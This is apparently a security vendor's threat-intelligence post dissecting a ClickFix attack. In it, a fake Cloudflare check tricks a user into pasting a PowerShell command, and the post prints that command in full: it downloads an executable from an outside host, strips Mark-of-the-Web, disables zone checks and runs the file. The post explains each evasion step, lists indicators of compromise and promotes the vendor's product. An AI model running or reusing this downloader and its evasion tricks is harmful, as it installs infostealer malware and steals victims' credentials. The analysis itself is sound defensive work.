BACK TO RESOURCE DIRECTORY
Threat Intel

Saved Live: Deconstructing a Real-World ClickFix Attack & its PowerShell Payload

E

EyeBall Threat Intelligence

Research & Analysis Group

Published: July 2, 2026 • Read Time: 6 min read

Saved Live: Deconstructing a Real-World ClickFix Attack & its PowerShell Payload

Today, an Eyeball Security customer avoided a potentially devastating corporate breach when our browser-layer defense engine intervened to block a live, in-the-wild ClickFix (also known as ClickHijacking) attack.

This case study is a classic illustration of modern social engineering tactics. It demonstrates how threat actors bypass conventional perimeter controls, manipulate user trust in third-party services, and execute highly targeted obfuscated scripts directly on local endpoints.

!See it in action: Eyeball Browser Security identifies and blocks the malicious ClickFix CAPTCHA fake prompt, preventing the user from copying the malicious execution command.


The Infection Vector: The Trusted Open Redirect

The attack started with a simple, high-urgency message delivered directly to the client. The message claimed they had an outstanding debt with their legitimate insurance provider.

  • ✦ The Bait: The user was prompted to click an SMS-delivered shortened link (e.g., via a popular URL shortener).
  • ✦ The Redirection: This shortened link resolved to the insurance provider's *actual, legitimate domain name*.
  • ✦ The Exploit: However, the link exploited an open redirect vulnerability (or a subverted directory) on that trusted insurance portal. Without the address bar in the browser showing any suspicious changes, the user was silently pushed to a malicious landing page pretending to be a Cloudflare security verification checkpoint.
  • ✦ The Instruction: The fake verification overlay claimed: *"Verification Required: Please confirm your system capabilities to access the insurance portal."*
  • ✦ The Trigger: The screen instructed the victim to press Win + R to open their local Run prompt, copy a "security key" from a button on the webpage, paste it into their shell window, and hit Enter.

By framing this command execution as a mandatory Cloudflare system check, the threat actor bypassed a lifetime of standard web safety warnings. To a busy employee, this looked like an annoying but legitimate login verification screen.


The Payload: Deconstructing the PowerShell Command

The copied string sitting in the user's clipboard buffer was the following malicious PowerShell command. Let's look at the raw instruction before we break down its evasion and download layers:

powershell Terminal Output
powershell -NoP -w h -ep bypass -c "$h='merabs'+'.pro';$n='5a043604.exe';$u='https://'+$h+'/'+$n;$f=$env:TEMP+'\\x.exe';[Net.WebClient]::new().('Down'+'loadFile')($u,$f);Unblock-File $f -EA 0;ri ($f+':Zone.Identifier') -EA 0;$env:SEE_MASK_NOZONECHECKS=1;& $f"

Technical Deep Dive: A Defensive Analysis

From a defense perspective, this payload is a highly efficient, multi-staged downloader designed to evade endpoint antivirus, ignore security policies, and strip default operating system safeguards.

1. Execution Parameters (The Evader Setup)

  • ✦ -NoP (-NoProfile): Directs PowerShell not to load the user's custom interactive profile. This accelerates start time, reduces system footprint, and prevents local security profiles from altering the environment.
  • ✦ -w h (-WindowStyle Hidden): Instructs Windows to launch the terminal completely invisibly. The victim sees no console popup, flashing cursor, or system warning. The entire operation runs silently in the background.
  • ✦ -ep bypass (-ExecutionPolicy Bypass): Explicitly instructs PowerShell to ignore any system-wide execution policies that would otherwise block unsigned or untrusted scripts.

2. Obfuscation Tactics (Evading Static Signatures)

Modern endpoint defenses actively scan command-line arguments for suspicious domains or web requests. To evade signature matches (such as YARA rules), the author splits sensitive strings:

  • ✦ $h='merabs'+'.pro' and $n='5a043604.exe' reconstruct the URL dynamically: https://merabs.pro/5a043604.exe.
  • ✦ ('Down'+'loadFile') splits the actual .NET method call, ensuring static analysis rules watching for the DownloadFile function signature remain blind to the download stream.

3. Mark-of-the-Web (MOTW) Evasion (The Crown Jewel of Evasion)

When files are downloaded over the internet via standard web clients, Windows appends an Alternative Data Stream (ADS) called :Zone.Identifier. This is how Windows knows the file came from an untrusted outside source, triggering SmartScreen warnings, blocking execution, or launching office files in a sandbox.

The threat actor uses two commands to completely erase this metadata:

  • ✦ Unblock-File $f -EA 0: Directs PowerShell to strip the untrusted zone label from the file.
  • ✦ ri ($f+':Zone.Identifier') -EA 0 (Remove-Item): Forcibly deletes the :Zone.Identifier stream directly, ensuring no operating system warning is ever shown when the executable runs. The -EA 0 (-ErrorAction SilentlyContinue) ensures that even if the command encounters an error, it continues executing without alerting the user.

4. Disabling Shell Protection

  • ✦ $env:SEE_MASK_NOZONECHECKS=1: This modifies the current environment variables to disable automatic zone checking in shell32. It blocks Windows from popping up confirmation dialogs before executing downloaded files via shell utilities.

5. Local Dropper Execution

  • ✦ & $f: Uses the PowerShell invocation operator (&) to execute the freshly downloaded, unblocked payload (x.exe saved under the user's %TEMP% folder). This executable is a known infostealer dropper designed to harvest local session cookies, crypto wallets, and browser-stored credentials.

Why Traditional Security Failed (and Why Eyeball Blocked It)

This attack exposes the severe gaps in legacy security perimeters:

  • ✦ Secure Web Gateways (SWG) are blind: The malicious payload was not downloaded over the HTTP session directly. The user was guided to copy-paste a string. The SWG only sees an encrypted HTTPS connection to a trusted domain, followed by a copy operation that occurs entirely in memory.
  • ✦ Reputation Filters are bypassed: The initial redirect URL resolved to a highly trusted corporate insurance domain. It was never on any malicious blocklist.
  • ✦ Static Endpoint AVs fail: Because the download is initiated by a native, legitimate system utility (powershell.exe) with obfuscated strings, traditional static heuristics frequently let the command execute unchallenged.

How Eyeball Stopped It

Because Eyeball Browser Security operates natively inside the web browser—the true perimeter where data interaction and execution occur—it maintains total visibility.

Eyeball's client-side heuristics instantly detected the malicious DOM overlay simulating Cloudflare, recognized the suspicious clip-hijacking behavior prompting clipboard access, and blocked the interaction before the user could copy the script. The attack was neutralized mid-flight, keeping the client's corporate network and credentials completely secure.

By securing the point of execution, Eyeball ensures that even when users are manipulated, the system remains impenetrable.


Indicators of Compromise (IoCs)

To assist fellow defenders, the threat intelligence team has cataloged the indicators of compromise associated with today's live ClickFix campaign:

  • ✦ Malicious Dropper Host: merabs.pro
  • ✦ Payload File Name: 5a043604.exe (saved locally as x.exe)
  • ✦ Malicious Executable SHA256: f5d1dd9ff3a9150b655499d2580569027f242f53cbdc0c3d6813e7a0bb066c65
  • ✦ VirusTotal Analysis: View Report on VirusTotal
Tags: #ClickFix #Threat Intel #PowerShell Analysis #Evasion Techniques #Adware/Infostealer #In-The-Wild

Deploy Zero-Blind-Spot Browser Security

Neutralize session token theft, ClickFix campaigns, and GenAI data leaks natively in Chrome and Edge with EYEBALL Enterprise Suite.

START NOW

More Threat Intelligence Research